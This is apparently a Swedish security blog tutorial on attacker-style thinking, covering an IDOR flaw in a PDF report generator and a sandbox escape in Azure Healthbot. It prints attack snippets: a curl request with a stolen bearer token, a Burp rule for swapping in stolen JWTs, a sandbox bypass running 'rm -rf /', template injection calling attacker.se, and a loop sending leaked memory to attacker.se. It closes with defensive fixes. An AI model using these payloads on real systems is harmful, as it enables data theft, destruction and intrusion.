Skip to main content
  1. Blogposts/

🔓 hackarens synvinkel: sĂ„ avslöjar du dolda sĂ€kerhetsbrister som en proffsjĂ€gare

·604 words·3 mins· loading · · ·
Rasmus
Author
Rasmus
Att dela en ide eller tvÄ kan vara bra för hjÀrnan
Table of Contents

En handledning i att tĂ€nka som en angripare – med verkliga fall frĂ„n Azure Healthbot och PDF-exploits


🌟 Introduktion: Varför sĂ€kerhetstĂ€nk Ă€r en mix av Sherlock och MacGyver
#

SĂ€kerhetsluckor Ă€r som hemliga dörrar i en borg. För vanliga besökare ser de ut som vĂ€ggar, men med rĂ€tt nyckel (eller rĂ€tt exploit) kan angripare smyga in osedd. Idag tar vi en bakom kulisserna-resa genom tvĂ„ verkliga scenarion – frĂ„n en PDF-generator som lĂ€cker andras rapporter till en chatbot som kan manipuleras att avslöja kĂ€nslig data.

Gör dig redo för en blandning av teknisk detaljdjup, vardagsliknelser och “just-dĂ€r!"-ögonblick! 💡


📁 Del 1: Jakten pĂ„ IDOR-sĂ„rbarheten i PDF-generatorn
#

1.1 🎯 Brister i ett nötskal
#

IDOR (Insecure Direct Object Reference) fungerar som att byta dörrnummer pÄ ett hotellrum. Om systemet inte verifierar att du fÄr komma in i rum 1002, kan vem som helst blÀddra mellan rum genom att testa nummer.

Kontext:

// Backend-kod (hypotetiskt exempel)
app.post('/generate_report', (req, res) => {
  const report = db.getReport(req.body.report_id); // Ingen anvÀndarverifiering!
  generatePDF(report).then(pdf => res.send(pdf));
});

1.2 🔍 UpptĂ€cktsresan: FrĂ„n misstanke till bekrĂ€ftelse
#

Stegvis spÄrning:

  1. Burp-avlyssning: UpptÀckte PDF-förfrÄgningar i historiken
  2. Nummerfumling: Ändrade 1001 → 1002 i POST-bodyn
  3. Resultatanalys: Fick en annan organisations rapport!

Fuzzing-kommandot som avslöjade allt:

curl -X POST 'https://mÄl.se/api/generate_report' -H 'Authorization: Bearer STULEN_TOKEN' -d '{"report_id":"1002"}'

1.3 đŸ› ïž Knepet: Automatisera med Burps Match/Replace
#

SÄ gör du enkla payloads till smarta exploiter:

// Burp-konfig för automatisk token-ersÀttning
{
  "match_replace_rules": [{
    "name": "JWT-kapning",
    "match": "^Authorization: Bearer.*$",
    "replace": "Authorization: Bearer [NY_STULEN_TOKEN_HÄR]"
  }]
}

💡 TĂ€nk som en spion: Bytt ut din legitima session mot en stulen – helt automatiskt!


đŸ€– Del 2: Azure Healthbots hemliga liv som datalĂ€cka
#

2.1 đŸ§© SandlĂ„deflykt: NĂ€r JavaScript blir en sĂ€kerhetsrisk
#

Liknelse: FörestĂ€ll dig en lekplats (sandlĂ„da) dĂ€r barn inte fĂ„r lĂ€mna omrĂ„det. Men om du kan manipulera grindens lĂ„s…

Exploit-kod som bryter isoleringen:

// Saboterar underscores indexOf för att lura vitlistan
_.indexOf = () => 1; // "Allt Àr redan godkÀnt!"
require('child_process').exec('rm -rf /'); // Nu körs detta!

Verifieringstest:

console.log(require('fs').readFileSync('/etc/passwd')); // LĂ€ser systemfiler!

2.2 📝 Mallinjicering: NĂ€r enkel kod blir explosiv
#

Underscore.js template()-funktionen Ă€r som en farlig kopiator – den exekverar precis vad du stoppar in:

// Farlig mall som kör shell-kommandon
const attack = _.template('<%= global.process.mainModule.require("child_process").execSync("curl https://attacker.se") %>');
attack(); // Nu kontaktar servern skadlig kod!

💡 Testa i devtools: <%= 7*7 %> visar 49. Men det Ă€r bara toppen pĂ„ isberget…

2.3 đŸ—‚ïž DatalĂ€ckage via Oinitierade Buffertar
#

Node.js-fÀlla: Buffer.allocUnsafe Àr som att hyra ett kontor dÀr föregÄende hyresgÀsters dokument ligger kvar.

SĂ„ samlar du minnesrester:

setInterval(() => {
  const minne = Buffer.allocUnsafe(4096).toString('utf-8');
  fetch(`https://attacker.se?dump=${encodeURIComponent(minne)}`);
}, 1000); // Skickar minnesdump varje sekund

UpptÀckta lÀckor i verkligheten:

  • JWTs frĂ„n inloggningar
  • Kubernetes-konfigurationer
  • DatabasanslutningsstrĂ€ngar

🔧 Sammanfattning: De avgörande verktygen och instĂ€llningarna
#

Verktyg Kritisk funktion
Burp Suite Automatisk payload-manipulation och fuzzing
Nuclei SkrÀddarsydda templates för IDOR-testning
Underscore.js 1.13.6 Osanerade template-funktioner
Node.js VM2 FörÄldrad sandlÄdemodul (CVE-2023-30547)

⚠ Tips: Leta alltid efter förĂ„ldrade beroenden – de Ă€r som rutten fisk i sĂ€kerhetspannan!


🚀 Avslutning: Bli sĂ€kerhetens mĂ€staredigerare
#

Varje sĂ„rbarhet berĂ€ttar en historia – om stressad utveckling, om glömda konfigurationer, om komplexitet som spĂ„rat ur. Din roll som sĂ€kerhetsdetektiv Ă€r att vara bĂ„de historiegrĂ€vare och lösningsmagiker.

3 praktiska steg för imorgon:

  1. Testa alla ID-parametrar i dina API:er genom att öka med +1
  2. Sök efter _.template() i din kodbas och rensa inputs
  3. ErsÀtt alla Buffer.allocUnsafe med Buffer.alloc

Vilka hemliga dörrar gömmer sig i dina system? đŸ•”ïžâ™‚ïž Börja leta nu – innan nĂ„gon annan gör det.

Kom ihĂ„g: Varje bugg du hittar Ă€r en avvĂ€rjd katastrof. FortsĂ€tt vara nyfiken, envis, och se varje felmeddelande som en pusselbit i det ultimata spelet – sĂ€kerhetens schackmatch mot angripare. â™ŸïžđŸ”